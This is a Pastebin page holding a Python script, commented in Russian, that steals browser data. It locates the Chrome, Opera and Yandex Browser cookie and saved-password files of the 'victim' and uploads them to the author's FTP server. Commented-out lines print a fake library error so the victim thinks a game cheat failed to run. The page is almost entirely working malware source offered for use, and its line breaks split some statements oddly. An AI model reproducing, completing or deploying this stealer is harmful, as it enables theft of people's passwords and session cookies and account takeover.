Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Подключаем библиотеки.
- import os.path # Проверяем, существует ли директория.
- import getpass # Получаем username, под которым запущен процесс для доступа к AppData.
- from ftplib import FTP # Подключаем библиотеку для работы с FTP и отправки через него паролей.
- import random # Подключаем рандом для названия файла, который будет отправлен на сервер.
- # Несколько переменных.
- con = FTP("хост","логин","пароль") # Сюда пишем данные нашего FTP сервера.
- UserName = '\\' + getpass.getuser() # Сюда будет записано имя текущего пользователя.
- # Здесь в названия переменных мы записываем пути, по которому хранятся cookie и пароли браузеров.
- # Вы можете дописать сюда другие браузеры, если известны пути, где они хранят нужные нам файлы.
- # К сожалению как в случае ниже если система записана на диск с любой другой буквой кроме C, то ничего не получится.
- # Но это можно исправить прописав несколько вариантов путей для браузеров.
- # Google Chrome.
- dir_cookie_google = 'C:\\Users'+UserName+'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies'
- dir_pass_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
- # Yandex Browser.
- dir_cookie_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies"
- dir_pass_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"
- # Opera.
- dir_cookie_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies"
- dir_pass_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data"
- # Папки с файлами браузеров для последующей проверки, существуют ли они и есть ли такой браузер у жертвы.
- dir_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies"
- dir_firefox = "C:\\Users"+UserName+"\\AppData\\Roaming\\Mozilla\\Firefox"
- dir_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex"
- dir_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software"
- # Далее идёт функция с огромным if с проверкой путей, чтобы в случае, если у жертвы нет того или иного браузера на сервер не отправлялись пустые данные.
- def check(): # Определяем функцию.
- # Если Вы добавляли пути для других браузеров, то нужно так же добавить их ниже на примере Google Chrome.
- # Google Chrome.
- if (os.path.exists(dir_google)) == True: # Если папка от Google Chrome существует.
- filename = "google" + str(random.randint(1, 10000)) # Присваиваем названию файла cookie который будет отправлен на сервер в конец названия рандомное число от 1 до 10000.
- filename2 = "google_pass" + str(random.randint(1, 10000)) # Присваиваем названию файла с паролями который будет отправлен на сервер в конец названия рандомное число от 1 до 10000.
- with open(dir_cookie_google, "rb") # Открываем файл, где Google Chrome хранит cookie.
- as content:
- con.storbinary("STOR %s" % filename, content)
- with open(dir_pass_google, "rb") # Открываем файл, где Google Chrome хранит пароли.
- as content:
- con.storbinary("STOR %s" % filename2, content)
- # Opera.
- if (os.path.exists(dir_opera)) == True: # См. Google Chrome.
- filename = "opera" +str (random.randint(1, 10000)) # См. Google Chrome.
- filename2 = "opera_pass" + str(random.randint(1, 10000)) # См. Google Chrome.
- with open(dir_cookie_opera, "rb") # См. Google Chrome.
- as content:
- con.storbinary("STOR %s" % filename, content)
- with open(dir_pass_opera, "rb") # См. Google Chrome.
- as content:
- con.storbinary("STOR %s" % filename2, content)
- # Yandex Browser.
- if (os.path.exists(dir_yandex)) == True: # См. Google Chrome.
- filename = "yandex" + str(random.randint(1, 10000)) # См. Google Chrome.
- filename2 = "yandex_pass" + str(random.randint(1, 10000)) # См. Google Chrome.
- with open(dir_cookie_yandex, "rb") # См. Google Chrome.
- as content:
- con.storbinary("STOR %s" % filename, content)
- with open(dir_pass_yandex, "rb") # См. Google Chrome.
- as content:
- con.storbinary("STOR %s" % filename2, content)
- # Вызываем нашу функцию.
- check()
- # Три строки ниже генерируют ошибку, чтобы жертва подумала мол программа не смогла выполниться из-за отсутствия библиотеки.
- # print("Error library import HOUII.dll")
- # print("Error RUN cheat")
- # input()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement